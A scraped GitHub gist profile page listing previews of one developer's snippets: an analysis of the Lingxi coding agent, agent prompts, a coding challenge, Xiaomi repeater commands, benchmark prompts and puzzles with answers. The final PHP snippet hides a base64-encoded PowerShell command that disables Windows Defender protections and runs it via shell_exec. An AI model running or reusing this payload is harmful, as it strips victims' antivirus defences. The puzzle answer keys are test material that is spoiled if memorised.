Skip to content

Instantly share code, notes, and snippets.

View grittyninja's full-sized avatar
🤸

Herdian N grittyninja

🤸
  • Indonesia
View GitHub Profile
# Lingxi Agent Design: Comprehensive Analysis & Implementation Guide
## Executive Summary
Lingxi achieved **74.6% success rate on SWE-Bench Verified** and **44.15% (132/300) on SWE-Bench Lite**, ranking **#3 among open-source models and #7 overall**. The framework demonstrates that carefully engineered multi-agent systems can surpass single-agent baselines by addressing **context dilution** - where lengthy chat histories distract models during delicate code-editing steps. This report provides a complete analysis of Lingxi's design patterns and actionable implementation strategies for other agentic code tools.
## Table of Contents
1. [Key Insights from Technical Report](#key-insights-from-technical-report)
2. [Agent Architecture Overview](#agent-architecture-overview)
description argument-hint
Systematically investigate and diagnose software issues using methodical debugging protocols.
issue_file

Debug Investigation: $ARGUMENTS

Read @$ARGUMENTS to understand the issue.

You are an expert software debugging specialist conducting a systematic investigation of this issue.

# Agentic Coding Challenge: "The Phantom Content Bug"
## Commit: 2f6267ba7d8fed021415711191307d5efedadc05
## Context
You're working on a proxy service that translates between two API formats (Claude ↔ OpenAI). The service has two execution modes:
- **Enhanced mode**: Runs preprocessing, then main execution
- **Direct mode**: Skips preprocessing, goes straight to execution
## The Problem
Users report that responses show "(no content)" in their client, but only under specific conditions:
- ✅ Enhanced mode always works perfectly
@grittyninja
grittyninja / gist:677ecec92e2e2143cc701557ab577df0
Created August 20, 2025 14:21
xiaomi.repeater.v3 replay insecure wifi
1. Reset Repeater
2. Connect and run
$ miiocli wifirepeater --ip 10.10.10.1 --token xxx raw_command miIO.config_router '{"ssid":"Open Wi-Fi","passwd":"","uid":0}'
3. Connect and run
$ miiocli wifirepeater --ip 192.168.19.1 --token xxx raw_command miIO.switch_wifi_ssid '[{"ssid":"my_wifi","pwd":"mywifi1234","hidden":0,"wifi_explorer":0}]'
=== LaundyBench ===
You are an expert frontend developer specializing in modern, high-performance landing pages with exceptional attention to visual design and user experience. Create a visually stunning laundry service landing page for "GoGoWash" that captures users' attention with contemporary design trends. Structure your solution as three separate files: index.html, style.css, and script.js. Design with a blue and white color scheme featuring smooth, subtle microanimations distributed evenly across ALL sections (not just the first two). Implement non-intrusive floating bubble animations that enhance rather than distract from the content, ensuring they work seamlessly on both desktop and mobile devices.
Build the page with exactly 5-7 distinct sections following this logical flow: (1) Hero section with animated headline and CTA, (2) Services showcase with hover effects, (3) Features/benefits with scroll-triggered animations, (4) Pricing or process explanation with interactive elements, (5) Testimonials wi
Use this tool to create and manage a structured task list for your current coding session. This helps you track progress, organize complex tasks, and demonstrate thoroughness to the user.
It also helps the user understand the progress of the task and overall progress of their requests.
## When to Use This Tool
Use this tool proactively in these scenarios:
1. Complex multi-step tasks - When a task requires 3 or more distinct steps or actions
2. Non-trivial and complex tasks - Tasks that require careful planning or multiple operations
3. User explicitly requests todo list - When the user directly asks you to use the todo list
4. User provides multiple tasks - When users provide a list of things to be done (numbered or comma-separated)
puzzle: Five people live on five consecutive floors. The engineer lives three floors above the doctor. The teacher lives on an odd-numbered floor. The artist lives immediately above the lawyer. The lawyer doesn't live on the first floor. The artist lives on an even-numbered floor. Who lives on the second floor?
answer: Doctor
gcd(1984627, 1964681)
answer: 9973
10212111273rd prime number
answer: 257668725341
#!/usr/bin/env bash
#########################################################################
# Proxy Manager Script
#
# A utility to setup and manage proxy configurations for Burp Suite
# or other HTTP/HTTPS proxies for security testing and analysis.
#
#########################################################################
<companion_llm_prompt>
<!-- Basic Role Definition -->
<role>
<core_identity>You are a thinking partner who helps me think better, not a tool that thinks for me. Your goal is to strengthen my thinking skills through our conversations.</core_identity>
<main_goal>Help me develop my own thinking abilities rather than replacing them with yours.</main_goal>
<key_rules>
<rule>Never solve problems for me that I should solve myself</rule>
<rule>Ask questions more often than giving answers</rule>
<rule>Make me do the hard thinking work</rule>
<rule>Guide me when I'm stuck but don't take over</rule>
<?php
$base64 = 'cG93ZXJzaGVsbCAtY29tbWFuZCAnU2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1EaXNhYmxlQmVoYXZpb3JNb25pdG9yaW5nICR0cnVlIC1EaXNhYmxlSU9BVlByb3RlY3Rpb24gJHRydWUgLURpc2FibGVJbnRydXNpb25QcmV2ZW50aW9uU3lzdGVtICR0cnVlJw==';
shell_exec(base64_decode($base64));
?>